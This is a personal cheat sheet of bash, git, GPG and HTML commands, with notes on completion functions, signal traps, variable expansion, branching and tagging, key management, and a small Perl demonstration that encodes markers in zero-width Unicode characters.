# Example of using autocompletion (tab)
/usr/share/bash-completion/completions/perltidy
/usr/share/bash-completion/completions/perl
/usr/share/bash-completion/completions/ip
# Generate autocompletion for own scripts (Bash,Tab)
# Options - aaa aba bbb ccc
_sb_tab(){
COMPREPLY=( $(compgen -W "`sb info`" -- "${COMP_WORDS[COMP_CWORD]}") )
}
complete -F _sb_tab sb
# Colon should not be a word break in perl.
export COMP_WORDBREAKS=${COMP_WORDBREAKS//:}
# View all tab completions (Bash,Tab,auto)
complete
# Delete all tab completions (Bash,Tab,auto)
complete -r
# Use existing autocompletions
complete -p | grep ls # finds _longopt
complete -F _longopt my_function
# Bash autocomplete special variables
# COMP_WORDS is an array containing all individual words in the current command line.
# COMP_CWORD is an index of the word containing the current cursor position.
# COMPREPLY is an array variable from which Bash reads the possible completions.
# Tab completions source of bash commands (Bash,Tab,auto)
vi /etc/bash_completion
vi /usr/share/bash-completion/bash_completion
# Generate autocompletion for own scripts (Bash,Tab)
bash_autotab(){
# COMPREPLY=( $(compgen -W "$*" -- "${COMP_WORDS[COMP_CWORD]}") )
#
local cur="${COMP_WORDS[COMP_CWORD]}"
#
# Get possible words without consider colon characters
_get_comp_words_by_ref -n : cur
#
COMPREPLY=( $(compgen -W "$*" -- "$cur") )
#
# Remove colon contain prefix from COMPREPLY
__ltrim_colon_completions "$cur"
#
# echo "COMP_WORDS = [${COMP_WORDS[@]}]"
# echo "COMP_CWORD = [${COMP_CWORD[@]}]"
# echo "COMP_LINE = [$COMP_LINE]"
# echo "COMPREPLY = [${COMPREPLY[@]}]"
}
otrs_module_install(){
echo "$OTRS_MODULE_TOOLS" Module::Package::Install "$@"
}
_otrs_module_install__tab(){
local possible=( $(ls "$OTRS_PACKGES_DIR") )
#
base_autotab ${possible[*]}
# base_autotab $(ls $OTRS_PACKGES_DIR)
#
# echo "COMP_WORDS = [${COMP_WORDS[@]}]"
# echo "COMP_CWORD = [${COMP_CWORD[@]}]"
# echo "COMPREPLY = [${COMPREPLY[@]}]"
}
complete -F _otrs_module_install__tab otrs_module_install
# Manually run bash tab completion
compgen -W "abc abdd afg" -- ab
# Bash completion location.
So there are 2 places where bash completions can reside:
/etc/bash_completion.d/
- Legacy place.
- Sourced very early on (whether needed or not).
/usr/share/bash-completion/completions/opi
- New place.
- Sourced on demand.
# Where are these defined:
_init_completion
_get_comp_words_by_ref
__ltrim_colon_completions
#
/etc/bash_completion
# Where are these defined:
_init_completion uses _get_comp_words_by_ref
_init_completion calls _variables which calls __ltrim_colon_completions
(but only when completng variables).
# Need to still call __ltrim_colon_completions explicitly.
# Bash completion example
local cur prev words cword _possible
_init_completion -n : || return
COMPREPLY=($(compgen -W "$_possible" -- $cur))
__ltrim_colon_completions "$cur"
# Bash completion.
# Can use "complete -C <COMMAND>" to provide a command to
# handle completions.
function my_complete(){ print_args "$@"; }
complete -C my_complete abc
abc
[] [abc]
abc Group1::Group2
[::] [abc] [Group2]
abc Group1::Group2 --
[--] [abc] [Group2]
#############################################################
## Bash - Command Info
#############################################################
# Get first command of current line
echo "abc" | AND b | while read line; do echo "$line -> $BASH_COMMAND"; done
# Get command just run (bash)
rcmd2 -n 0 -c "echo \"here\""; echo "$_"
#############################################################
## Bash - HotKeys - Movement
#############################################################
# Start of the line (bash,hotkeys,movement)
Ctrl + A
# End of the line (bash,hotkeys,movement)
Ctrl + E
# Back one word (bash,hotkeys,movement)
Alt + B
Ctrl + Right Arrow
# Forward one character (bash,hotkeys,movement)
Ctrl + F
Ctrl + Left Arrow
# Toggle start/current position (bash,hotkeys)
# Not for Termux.
Ctrl + XX
#############################################################
## Bash - HotKeys - Change
#############################################################
# Delete left (bash,hotkeys,change)
Control + U
# Delete right (bash,hotkeys,change)
Control + K
# Delete last word (bash,hotkeys,change)
Alt + Backspace
# Paste deleted (bash,hotkeys,change)
Control + Y
# Undo text added (bash,hotkeys,change)
Control + _
# Continue editing with EDITOR (bash,hotkeys,change)
# Not for Termux.
Control + X + E
#############################################################
## Bash - HotKeys - Hostory
#############################################################
# Reverse Search history (bash,hotkeys,history)
# Enter to select command
Control + R
#############################################################
## Bash - Command Line Options
#############################################################
# Example of using command line options in bash
while getopts :d:m opt; do
case $opt in
d) debug="$OPTARG";;
m) more="$OPTARG";;
:) /bin/echo -e "$usage"; exit 1;;
\?) echo "undefined option -$OPTARG"; exit 1;;
esac
done
#############################################################
## Bash - Conditions
#############################################################
# If else condifion in bash on a single line
if [ $a -gt 0 ]; then echo -e $a; else echo $a; fi
# Case (switch) statement. Run of the possiblities (bash)
var="aaa"
case $var in
aaa) echo 10 ;;
bbb) echo 20 ;& # Fallthrough condition.
ccc) echo 30 ;;
esac
# Bash, multi if elseif (ternary)
a=5
[ $a -gt 3 ] && echo "A" || ([ $a -gt 2 ] && echo "B" || echo "C")
if [ $a -gt 3 ]; then echo "A"; elif [ $a -gt 2 ]; then echo "B"; else echo "C"; fi
#############################################################
## Bash - Expressions
#############################################################
# Check if variable has a value (not empty) (and logic)
[[ ! -z $msg ]] && echo "A"
# Check if variable has a value (not empty)
if [[ ! -z $msg ]]; then echo "A"; fi
# Bash regular expression (regex) comparision
[[ "R_EECB" =~ [LR]_EEC[AB] ]] && echo "A"
[[ ! "L_EECA" =~ [LR]_EEC[AB] ]] && echo "A"
# Check if a file is newer than another file
[ FILE1 -nt FILE2 ] && echo "is newer" || echo "not newer"
#############################################################
## Bash - File Test Operators
#############################################################
# Bash File Test Operators
# Operator syntax Description
# -a <FILE> True if <FILE> exists. (not recommended, may collide with -a for AND, see below)
# -e <FILE> True if <FILE> exists.
# -f <FILE> True, if <FILE> exists and is a regular file.
# -d <FILE> True, if <FILE> exists and is a directory.
# -c <FILE> True, if <FILE> exists and is a character special file.
# -b <FILE> True, if <FILE> exists and is a block special file.
# -p <FILE> True, if <FILE> exists and is a named pipe (FIFO).
# -S <FILE> True, if <FILE> exists and is a socket file.
# -L <FILE> True, if <FILE> exists and is a symbolic link.
# -h <FILE> True, if <FILE> exists and is a symbolic link.
# -g <FILE> True, if <FILE> exists and has sgid bit set.
# -u <FILE> True, if <FILE> exists and has suid bit set.
# -r <FILE> True, if <FILE> exists and is readable.
# -w <FILE> True, if <FILE> exists and is writable.
# -x <FILE> True, if <FILE> exists and is executable.
# -s <FILE> True, if <FILE> exists and has size bigger than 0 (not empty).
# -t <fd> True, if file descriptor <fd> is open and refers to a terminal.
# <FILE1> -nt <FILE2> True, if <FILE1> is newer than <FILE2> (mtime).
# <FILE1> -ot <FILE2> True, if <FILE1> is older than <FILE2> (mtime).
# <FILE1> -ef <FILE2> True, if <FILE1> and <FILE2> refer to the same device and inode numbers.
# Read from either PIPE or from standard input STDIN (in Bash. 0 is STDIN)
[ -t 0 ] && echo "A"
cat file | [ -t 0 ] && echo "A"
# Read from either PIPE or from standard input STDIN (in Bash. 0 is STDIN)
if [ -t 0 ]; then # RIGHT side
list=( "$@" )
else # LEFT side (PIPE)
list=($(cat -))
fi
# Detect if piped result.
local piped
# Pipe (from grep).
if [ -p /dev/stdin ]; then
piped=($(cat -))
fi
#############################################################
## Bash - Functions
#############################################################
# Create a heredoc
cat <<HERE
stuff to print
more stuff
HERE
# Create a heredoc and put in a file (Bash)
cat <<HERE > file
stuff to print
more stuff
HERE
# Create a heredoc and put in a variable (Bash)
my_var=$(cat<<HERE
stuff to print
more stuff
HERE
);
# Get name of current function you are in (bash)
echo $FUNCNAME
# Get name of parent function you are in (bash)
echo ${FUNCNAME[0]}
# Get full stack trace of functions that lead you to current function (bash)
echo ${FUNCNAME[*]}
# Trim off variable in bash to select size (6 in example,bash)
echo ${USER:0:6}
#############################################################
## Bash - For Loop (C Style)
#############################################################
# C style for loop in bash
for((i=1; i<=10; i++)); do echo $i; done
#############################################################
## Bash - Foreach Loop
#############################################################
# Foreach loop in bash
my_list="
file1
file2
file3
"
for name in $my_list; do ls -l $name; done
#############################################################
## Bash - Math
#############################################################
# Arithemetic in bash (add)
echo $((1+2))
# Arithmetic in bash (add/substract)
echo $((5-3))
# Arithmetic assignment in bash (add/substract)
echo $((5-3))
c=$((5+3)); echo $c
# Bash arithmetic in conditional (if block)
[[ 3 -lt "4 + 1" ]] && echo "A" || echo "B"
# Perform floating point arithmentic in bash
a=127.6
b=1800
a2=127
echo $a2+$b | bc
echo $a+$b | bc
#############################################################
## Bash - Script
#############################################################
# Get full stack trace of file that lead you to current location
echo ${BASH_SOURCE[*]}
# Get full stack trace of line numbers that lead you to current location
echo ${BASH_LINENO[*]}
# Basename of a file. bash remove longest
echo ${PWD##*/}
# Line number in a bash script
echo $LINENO
#############################################################
## Bash - String Test Operators
#############################################################
# Operator syntax Description
# <INTEGER1> -eq <INTEGER2> True, if the integers are equal.
# <INTEGER1> -ne <INTEGER2> True, if the integers are NOT equal.
# <INTEGER1> -le <INTEGER2> True, if the first integer is less than or equal second one.
# <INTEGER1> -ge <INTEGER2> True, if the first integer is greater than or equal second one.
# <INTEGER1> -lt <INTEGER2> True, if the first integer is less than second one.
# <INTEGER1> -gt <INTEGER2> True, if the first integer is greater than second one.
#############################################################
## Bash - Paths
#############################################################
# Convert a relative path to an absolute path
readlink -f relative_path
# Convert relative to absolute path in perl
use Cwd qw(realpath);
# Compare relative to absolute path reatures (setup readlink)
ll -d file
# Compare relative to absolute path reatures
readlink -f file
readlink -e file
readlink -m file
#############################################################
## Bash - Pipeline
#############################################################
# Redirect STDERR to STDOUT (pipe,bash)
2>&1
|&
# Redirect both STDOUT and STDERR to a pipe
2>&1 | tee out
# Swap STDERR with STDOUT
showpath | xargs ls -ld 3>&2 2>&1 1>&3
# Redirect STDERR to STDOUT
showpath | xargs ls -ld 2>&1 1>/dev/null
# Show only STDERR (redirect STDOUT)
ld_dsu.prl sre csv |1
ld_dsu.prl sre csv 1>/dev/null
# Send message to STDERR
say(){ echo "GOOD"; echo "BAD" >&2; }
say 2>/dev/null # GOOD
say >/dev/null # BAD
say >> log 2>&1
say 2>&1 >> log
#############################################################
## Bash Signal Handling
#############################################################
# Use trap command to trap signals
trap arg signals
# Remove signal handling
trap signal
# Create an infinite loop (no end)
while true; do echo "$$ $BASHPID"; sleep 1; done
# See all available trap signals
trap -l
# Prevent control-C from doing anything (signal)
abc(){ echo -e "\n\nNOPE"; }
trap abc SIGINT
<Control-C>
# Prompt on a control-C (signal handling)
signal_handler(){ echo -e "\n${RED}Caught Control-C$RESTORE "; read -p "Are you sure you want to abort? (y/n): " ans; [[ $ans =~ [yY] ]] && echo "continue" || echo "exit"; }
trap signal_handler SIGINT
<Control-C>
# Create a timer in bash (aborts the session)
handler(){ echo "done"; exit 1; }
set_timer(){ (sleep $1; kill -ALRM $$)& }
trap handler SIGALRM
set_timer 5
while [ 1 ]; do echo $$; sleep 1; done
# Trap alarm signal
trap 'echo "Hit alarm"; break' SIGALRM
while true; do echo $$; sleep 1; done
# In another window:
kill -s ALRM 11657
# List of Bash signals and meanings.
Signal Standard Action Comment
------------------------------------------------------------------------
SIGABRT P1990 Core Abort signal from abort(3)
SIGALRM P1990 Term Timer signal from alarm(2)
SIGBUS P2001 Core Bus error (bad memory access)
SIGCHLD P1990 Ign Child stopped or terminated
SIGCLD - Ign A synonym for SIGCHLD
SIGCONT P1990 Cont Continue if stopped
SIGEMT - Term Emulator trap
SIGFPE P1990 Core Floating-point exception
SIGHUP P1990 Term Hangup detected on controlling terminal
or death of controlling process
SIGILL P1990 Core Illegal Instruction
SIGINFO - A synonym for SIGPWR
SIGINT P1990 Term Interrupt from keyboard
SIGIO - Term I/O now possible (4.2BSD)
SIGIOT - Core IOT trap. A synonym for SIGABRT
SIGKILL P1990 Term Kill signal
SIGLOST - Term File lock lost (unused)
SIGPIPE P1990 Term Broken pipe: write to pipe with no
readers; see pipe(7)
SIGPOLL P2001 Term Pollable event (Sys V);
synonym for SIGIO
SIGPROF P2001 Term Profiling timer expired
SIGPWR - Term Power failure (System V)
SIGQUIT P1990 Core Quit from keyboard
SIGSEGV P1990 Core Invalid memory reference
SIGSTKFLT - Term Stack fault on coprocessor (unused)
SIGSTOP P1990 Stop Stop process
SIGTSTP P1990 Stop Stop typed at terminal
SIGSYS P2001 Core Bad system call (SVr4);
see also seccomp(2)
SIGTERM P1990 Term Termination signal
SIGTRAP P2001 Core Trace/breakpoint trap
SIGTTIN P1990 Stop Terminal input for background process
SIGTTOU P1990 Stop Terminal output for background process
SIGUNUSED - Core Synonymous with SIGSYS
SIGURG P2001 Ign Urgent condition on socket (4.2BSD)
SIGUSR1 P1990 Term User-defined signal 1
SIGUSR2 P1990 Term User-defined signal 2
SIGVTALRM P2001 Term Virtual alarm clock (4.2BSD)
SIGXCPU P2001 Core CPU time limit exceeded (4.2BSD);
see setrlimit(2)
SIGXFSZ P2001 Core File size limit exceeded (4.2BSD);
see setrlimit(2)
SIGWINCH - Ign Window resize signal (4.3BSD, Sun)
#############################################################
## Bash - Variables (Special)
#############################################################
# Return status $? (true/false are built-in commands)
true; echo $?
false; echo $?
# Note however that local var=$(command) will (bash)
NOT return the exit code. Instead you need to do
local var;
var=$(command)
# In bash, setting a variable in a subshell
# does not affect the outer shell.
v=1; echo $v; (echo $v; v=2; echo $v; ); echo $v
1
1
2
1
#
# An approach around this is to set the variable
# inside the function.
fun(){ echo $v; v=2; echo $v; }; v=1; echo $v; fun; echo $v
# In bash return 0 means no error. return 1 means error
abc(){ return 0; }; abc && echo "OK" || echo "BAD"
abc(){ return 1; }; abc && echo "OK" || echo "BAD"
# Check if using Bash
echo $0
#############################################################
## Bash - Variables (User)
#############################################################
# Example of using a local variable
n=aaa; echo "1. n = $n"; a(){ m=$n; local n=xyz; echo "2. m = $m"; echo "3. n = $n"; }; a; echo "4. n = $n";
1. n = aaa
2. m = aaa
3. n = xyz
4. n = aaa
# Find out how many characters(length) are in a bash variable
n1=abcd
echo ${#n1}
# Remove from variable bash normal shortest
a="g2s -i ppb.gloascii -allow_overlays -ignore_errors"
echo ${a#*-}
# Remove from variable bash normal longest
a="g2s -i ppb.gloascii -allow_overlays -ignore_errors"
echo ${a##*-}
# Remove from variable bash reverse shortest
a="g2s -i ppb.gloascii -allow_overlays -ignore_errors"
echo ${a%-*}
# Remove from variable bash reverse longest
a="g2s -i ppb.gloascii -allow_overlays -ignore_errors"
echo ${a%%-*}
# View all bash variable with a matching name
echo ${!a*}
# Bash variable replacement uses:
echo "${f/\.mid}" # Replace first occurrence
echo "${f//\.mid}" # Replace all occurrences
echo "${f%\.mid}" # Remove shortest match from end
echo "${f%%\.mid}" # Remove longest match from end
echo "${f#\.mid}" # Remove shortest match from beginning
echo "${f##\.mid}" # Remove longest match from beginning
# Assign to multiple bash variables at once (list assignment)
# This uses process substitution <<<
# Can be thought of as < and <<HERE_DOC together
# Whatever is on the right is expected to be a string and
# it get fed into the STDIN on the command (read in this case).
read var1 var2 <<< $(echo "one two"); echo $var1 $var2
# Replace an occurence of a pattern in a bash variable
name=a_b_c
echo ${name/_/}
# Replace all occurences of a pattern in a bash variable
# (using double folder slash).
name=a_b_c
echo ${name//_/}
# Bash range expansion
echo {1..10}
for n in {1..10}; do echo $n; done
#############################################################
## Bash - While Loop
#############################################################
# While do bash readline
ls -1 | head -1 | while read line; do uicfgcheck $line; done
# read multiple words froma line in bash
while read keyfile hexkey junk; do echo "1[$keyfile] 2[$hexkey] 3[$junk]"; done
# Bash Bug when using a while loop.
# Inside of a loop not affecting outside
a="OUT"
echo "1: $a"
cat $tmp_list | while read line; do
echo "2: $a"
a="IN"
echo "3: $a"
done
echo "4: $a"
# 4: OUT !!!
#
# A fix is to do this instead
a="OUT"
echo "1: $a"
while read line; do
echo "2: $a"
a="IN"
echo "3: $a"
done < $tmp_list
echo "4: $a"
#############################################################
## Git - Ignore File Rules
#############################################################
# Ignore any folder named "old" anywhere (git ignore)
**/old/
#############################################################
## Git - Global Configuration Commands (once per user)
#############################################################
# Configure user information
git config --list
git config -l
git config --global user.email "<EMAIL>"
git config --global user.name "<NAME>"
# Alias commands
git config --global alias.cl 'config --list'
git config --global alias.alias '!git config --list | grep alias'
git config --global alias.set 'config --global'
git config --global alias.unset 'config --global --unset'
git config --global alias.re remote
git config --global alias.st status
git config --global alias.sub submodule
git config --global alias.supdate 'submodule update --remote'
git config --global alias.spush 'submodule push --recursive-submodules=on-demand'
git config --global alias.stmod 'status -uno'
git config --global alias.br branch
git config --global alias.unstage 'reset HEAD --'
git config --global alias.co checkout
git config --global alias.ci commit
git config --global alias.colast 'checkout -- *'
git config --global alias.cleanup 'clean -fd'
git config --global alias.undo '!git colast; git cleanup'
git config --global alias.mm 'merge --no-commit github/master'
git config --global alias.pm 'pull github master'
git config --global alias.untrack 'rm --cached'
git config --global alias.ct '!git add .; git ci -m "Added cheats"'
git config --global alias.subup 'submodule update --recursive'
# Set the git commit editor
git config --global core.editor "vim"
# Unset a global config (such as user.name)
git config --global --unset user.name
# Remove all aliases
git config --global --remove-section alias
# Prevent line endings from being converted
git config --global core.autocrlf false
# Warning: Pulling without specifying how to reconcile divergent branches
git config --global pull.ff o
#############################################################
## Git - Folder Configuration Commands (once per local master)
#############################################################
# Create blank repository
git init
# Create blank repository, but in another location
git init --separate-git-dir BACKUP/.git
# Move a git repository to another location and preserving log history (Old Approach)
mv ~SOME_USER/.git BACKUP/.git
cd ~SOME_USER
git --git-dir=BACKUP/.git --work-tree=. init
# Move a git repository to another location and preserving log history (New Approach)
mv ~SOME_USER/.git BACKUP/.git
cd ~SOME_USER
git init --separate-git-dir BACKUP/.git
# Create blank repository, but in another location (alternative)
# .git is a file in this case
echo "gitdir: BACKUP/.git" > .git
# Copy a repository (and place it in the folder my_proj)
git clone <url>
# Copy a repository (and place it in the folder new_proj)
git clone <url> new_proj
# Copy a repository (and place it in the current directory)
git clone <url> .
# Display origin path (GitLab path)
git remote -v
# Diaply more remote information (shows also HEAD branch)
git remote show origin
# Add remote repository (remote is like an alias)
git remote add origin <url>
# Alter remote repository
git remote set-url origin <url>
# Git. Rename remote repository name
git remote rename origin github
# Do NOT ignore a particular file in git
!<file>
!/.gitignore
#############################################################
## Git - Stage Commands
#############################################################
# Add file to the staging area
git add file1
# Add txt files to the staging area
git add '*.txt'
# Use if separate commits modify the same file. Partially stage files
git add -patch
# Add all files in the current directory to the staging area
git add -A .
# Check status of the staging area
git status
# Remove from staging area
git reset file1
# Reset local area to be save as remote repository
git reset --hard github/addsvn
# Unmerge file, reset to a certain commit
git reset --hard bad_commit_id~N
# Remove file
git rm file1
# Remove files ('' to protect from shell interpolation)
git rm '*.txt'
# Remove folder
git rm -r folder1
# Revert untracked changes
git checkout -- *
# Checkout a single file form another branch,
git checkout MY_BRANCH -- MY_FILE
# Remove untracked files and directories
git clean -fd
# Remove untracked files and directories (úsing not standard ignore rules)
git clean -xfd
# Stop tracking a certain file (will NOT remove file, forget)
git rm --cached file1
# Stop tracking a certain directory (will NOT remove directory, forget)
git rm --cached -r directory1
# fatal: Pathspec 'dir1' is in submodule 'dir2'
# Due to subdirectory having it's own .git
# Need to remove .git in subdirectory and recreate subdirectory
#############################################################
## Git - Diff Commands
#############################################################
# View changes between staged and branch
git diff --staged
# View whitespace changes
git diff --check
# View changes between playground and branch master
git diff HEAD
# View the last change made to a file (diff)
git diff file
# Show difference between 2 different commits
git diff <commit> <commit> <file>
# Show differences between 2 commits (relative to each other)
git diff <commit> <commit>~1 <file>
# Show a summary of differences between 2 commits (relative to each other,only filenames)
git diff --stat <commit> <commit>~1
# Compare 2 files in the same branch (need to disambiguate from 2 branches)
git diff :old :new
git diff :old new
# Compare exceptions template files for differences
cat ~/junk/exceptions | while read n; do ls -l $n~ $n; done
cat ~/junk/exceptions | while read n; do diff $n~ $n -qs; done
cat ~/junk/exceptions | while read n; do git diff $n~ $n; done
# Setup vimdiff as the default difftool
git config --global diff.tool vimdiff
git config --global difftool.prompt false
# Use vimdiff for seeing changes in git
git difftool commit1 commit2 file
# Ignore whitespace
git diff -w
#############################################################
## Git - Apply Commands
#############################################################
# Create a patch file.
git diff > my.patch
# Apply a patch file.
git apply my.patch
# Revert a patch file.
git apply my.patch -R
#############################################################
## Git - Commit/Checkout Commands
#############################################################
# Commit files to the branch
git commit -m "new file"
# Commit files to the branch and auto remove any extra files
git commit -a -m "new file"
# Update/change a commit message.
git commit --amend -m <useful commit message>
git push --force <origin> <branch>
# Reset files to last commit (file is not changed if in staging area)
git checkout -- file1
# No more options after command (used incase branch named file1 exists)
--
# Checkout a particular commit for a signle file
git checkout <commit> <file>
# Messed up in a commit. Checkout so many commits back
git checkout <commit>~1 <file>
# Checkout a remote branch (tracked,co)
git checkout --track origin/my_branch
# Revert the last command which was NOT pushed out.
git reset --soft HEAD~1
# Revert the last command which was pushed out.
git revert <commit>
git push
#############################################################
## Git - Log Commands
#############################################################
# Show/Check commit log (basic usage)
git log
# Show/Check commit log with plus's for revisions per file
git log --stat
# Show/Check a summary of the commit log (does not seem too useful)
git log --summary
# Show/Check a really fancy progression of the branch revisions (commit log)
git log --oneline --decorate --graph --all --tags
# See which what fetched changes need to be merged
git log --no-merges
# Find all log commits whose files match a pattern
git log -Garinc_xmt
# Find all commits where a file was changed (affected)
git log --follow <file>
git log <file>
# Show all commits/changes for a file (diff,generate patch report)
git log -p <file>
git log --patch <file>
# Show all commits/changes for a file in chronological order (diff,patch report)
git log -p --reverse <file>
# Display log without a pager
git -no-pager log
# Display a list of all commits made to a branch (prepare for cherry-pick)
# Shows commits which are not in the branch before ".."
# (In other words, unique to the branch).
git log --no-merges BRANCH..
git --no-pager log --no-merges rel-8_0.. --oneline --reverse --no-abbrev-commit
#
# Same but includes the committer (author).
local format="%C(yellow)%H%Creset %Cred%cn%Creset %s"
git --no-pager log --no-merges $branch.. --reverse --pretty="format:$format"
echo ""
# Display a list of all files changed between commits
git --no-pager log --no-merges rel-8_0.. --name-only --pretty= | sort -u
# Search for text in commit message.
git log --grep COMMIT_TEXT
#############################################################
## Git - RefLog Commands
#############################################################
# git reflog can be useful if you messed something up with a branch:
# Such as:
# - Accidentally did a hard reset.
# - Undo merge/rebase.
# - Remove deleted branches.
# - Fix detached HEAD state.
#############################################################
## Git - Push/Pull Commands
#############################################################
# Push upstream to origin from the branch (only after using -u switch)
git push
# Fetch (sync) from the assigned repository (but do NOT checkout any files)
git fetch
# Fetch from repository (origin)
git fetch origin
# Sync with a specific repository (but do NOT checkout any files)
git fetch <url>
# Pull down changes to branch from origin
git pull origin master
git pull github master
# Warning when pulling from github/gitlab:
X11 forwarding request failed on channel 0
#
vi ~/.ssh/config
#
Host git.otrs.com
ForwardX11 no
# When there is a conflict when pulling a branch,
# this will pull in the changes and put your commits
# as last
git pull --rebase
# Push upstream to origin from the branch
git push -u origin master
git push github addsvn
# Remove a remote branch
git push --delete origin <branch name>
# Checkout latest commit version of a single file
git init
git fetch <url>
git checkout FETCH_HEAD <file>
# Checkout select commit version of a single file
git init
git fetch <url>
git checkout -m <commit_id> <file>
# Checkout a specific version of a single file
git checkout -m <commit_id> file
# Checkout a file from another branch
git checkout master file1
# Checkout a file from 2 revisions back
git checkout master~2 file1
# Protect your changes when pulling from origin
git stash
# Unprotect changes
git stash apply
# To periodically update the repo on GitHub with what you have in GitLab
git fetch -p origin
git push --no-verify --mirror
#############################################################
## Git - Prune Commands
#############################################################
# warning: There are too many unreachable loose objects; run 'git prune' to remove them.
git gc
# Clean the git repo removing large objects in the history.
# Note: THIS IS DESTRUCTIVE!!!
#
# https://netdevops.me/2021/remove-binaries-and-big-files-from-git-repo/
git filter-repo --strip-blobs-bigger-than 3M
pip3 install git-filter-repo
#
# Need to set this again
git remote add origin <PATH>
#############################################################
## Git - Rev-Parse Commands
#############################################################
# Figure out path to git root.
git rev-parse --show-toplevel
#############################################################
## Git - Branch Commands
#############################################################
# View all branches
git branch
# View all branches details
git branch -v
# View all branches (including remote)
git branch -a
# Create a branch of the local master
git branch my_branch
# Get current branch name
git branch --show-current
# Check out a branch
git checkout my_branch
# Create a new branch and check it out
git checkout -b my_branch
# Create a new branch (and check it out) from origin/master (repository/branch)
git checkout -b my_branch origin/master
# Rename branch
git branch -m svn_update SR15308587
# List git branch but without the asterisk
git for-each-ref --format='%(refname:short)' refs/heads/
# Merge branch into the current branch
git merge clean_up
# Delete/remove a branch
git branch -d my_branch
# Merge changes from repository into your local folders
git merge origin/master
# Read/merge in changes from master branch into current branch
git merge --no-commit github/master
# Merge remote branch and preferring local changes
git merge -X ours origin/master
# Git compare branches
git diff svn_update master
#############################################################
## Git - Tag Commands
#############################################################
# Create a new tag
git tag v1
# Push tag to master repository (not done by default)
git push --tags github addsvn
# List available tags
git tag -l
# List tags by date (OMS)
git tag -l --sort=taggerdate
# List available tags according to pattern
git tag -l <pattern>
# Upload branch and tag when they are the same
git push github refs/heads/V2.7.0 refs/tags/V2.7.0
# Checkout all tags
git fetch --all --tag --prune
# Show some changes in a tag (possibly since creating it)
git show <tag>
# Checkout a certain tag (pseudo way)
git checkout -b <branch> <tagname>
# Delete an existing tag
git tag -d <tag>
# Delete tag from remote repository
git push --delete origin TAG1
git push origin :TAG1
# Compare 2 separate tags
git diff --stat V1.0.0 V1.1.0
#############################################################
## Git - Submodule Commands
#############################################################
# Add new submodule to existing repository
git submodule add <url>
# Creates file .gitmodules
# update submodule
git submodule update --init --recursive
# Update all the submodules in the repository
git submodule update --init --recursive --rebase --force
# View submodule status
git status
# Diff submodule
git diff --cached # wont show submodules unless inside the folder
git diff --cached --submodule
# Commit submodule changed
# Mode 16000 means "you're recoding a commit as a directory
# entry rather than a subdirecotry or file"
git ci -am "Added Submodules"
# Cloning project with submodules
# By default will get the submodule folder with no files
git clone <url> # Clone project
cd <submodule_folder>
git submodule init # Init local files
git submodule update # Get latest content of submodule
# Cloning project with submodules (simpler)
git clone --recursive <url>
# To remove a git submodule you need to:
# Delete the relevant section from the .gitmodules file.
# Stage the .gitmodules changes git add .gitmodules
# Delete the relevant section from .git/config.
# Run git rm --cached path_to_submodule (no trailing slash).
# Run rm -rf .git/modules/path_to_submodule (no trailing slash).
# Commit git commit -m "Removed submodule "
# Delete the now untracked submodule files rm -rf path_to_submodule
#############################################################
## Git - Extra Unused Commands
#############################################################
# Push upstream to origin (GitLab) and set upstream
git push -u origin master
# Pull down changes from origin
git pull origin master
# Need to restart explorer.exe after installing TortoiseGit
# before the icons will change.
#############################################################
## Gitlab - Syntax
#############################################################
# Multiple lines in command/script (Gitlab - Syntax)
https://docs.gitlab.com/ee/ci/yaml/script.html#split-long-commands
# Long lines can be split into multiple lines (no special syntax)
# "|" can be used to each line as a separate command.
# ">" can be used to each block of new line separated lines
as a separate command.
#############################################################
## GPG Encryption (PGP Key)
#############################################################
# Generate a PGP key
gpg --gen-key
# Create a PGP signed file
gpg -ea -r "YOUR_NAME" > $HOME/.pause
user USER
password Pas$word
# Show your PGP keys (list)
gpg -k # Public keys.
gpg -K # Secret keys.
# Decrypt a PGP signed file.
gpg -d ~/.pause
# Cache password in agent.
# Some reason this fixed caching.
gpgconf --kill gpg-agent
# Share GPG keys (export from one, import in another machine).
gpg --export-secret-key -a > secretkey.asc
gpg --import secretkey.asc
# Warning: It is NOT certain that the key belongs to the person named.
gpg --edit-ḱeys YOUR_NAME
trust
5
yes
# Delete expired keys.
#
# Step 1: Create revoke certificate:
gpg --output revoke.asc --gen-revoke YOUR_ID
#
# Step 2: Apply revoke:
gpg --import revoke.asc
#
# Step 3: Delete secret key:
gpg --delete-secret-keys YOUR_ID
#
# Step 4: Delete public key:
gpg --delete-keys YOUR_ID
# Delete all keys.
gpg --delete-key 'Tim Potapov'
gpg --delete-secret-key 'Tim Potapov'
#############################################################
## HTML Attribute - href
#############################################################
# Run a javascript function when clicking a link instead of going to a page
<a class="myWrapper" href="javascript:myFunc()"><div class="myText">+</div></a>
#############################################################
## HTML Element - details
#############################################################
# Create an automatically foldable element in HTML
<details>
<summary>Quick summary</summary>
<h1>All details start here</h1>
<p>and continue till the end</p>
</details>
#############################################################
## HTML Unicode
#############################################################
# HTML Unicode. ZERO WIDTH SPACE.
​ // e2808b
# Zero-width Unicode characters table:
ZERO WIDTH SPACE (U+200B)
Used to indicate word boundaries or add spacing without
affecting the layout visibly.
---
ZERO WIDTH NON-JOINER (U+200C)
Prevents ligatures or joinings between characters, commonly
used in scripts like Arabic and Persian.
---
ZERO WIDTH JOINER (U+200D)
Indicates that two characters should be joined together as
a single glyph.
---
LEFT-TO-RIGHT MARK (U+200E)
Indicates that text following it should be displayed left-
to-right, useful for mixing text with different
directionalities.
---
RIGHT-TO-LEFT MARK (U+200F)
Indicates that text following it should be displayed right-
to-left.
---
LEFT-TO-RIGHT EMBEDDING (U+202A)
Embeds text with a left-to-right directional override.
---
RIGHT-TO-LEFT EMBEDDING (U+202B)
Embeds text with a right-to-left directional override.
---
POP DIRECTIONAL FORMATTING (U+202C)
Resets the directionality to the surrounding context.
---
LEFT-TO-RIGHT OVERRIDE (U+202D)
Forces text to be displayed left-to-right, overriding the
surrounding context.
---
RIGHT-TO-LEFT OVERRIDE (U+202E)
Forces text to be displayed right-to-left, overriding the
surrounding context.
# zero-width Unicode characters example.
perl -C -E 'say "<!START_\N{ZERO WIDTH SPACE}A\N{LEFT-TO-RIGHT MARK}B\N{RIGHT-TO-LEFT MARK}C\N{ZERO WIDTH NON-JOINER}-->"'
# Output:
<!START_ABC-->
# Zero-width example of hiding text in a text area (plain text,POC)
perl -C -Me -E 'sub _BuildMark{ unpack("B*", "<!$_[0]-->") =~ tr/01/\N{ZERO WIDTH SPACE}\N{LEFT-TO-RIGHT MARK}/r } my $B = join "", _BuildMark("START_ABC"), "Line1: Ok\nLine2: NOk", _BuildMark("END_ABC"); say $B; d $B'
Line1: Ok
Line2: NOk
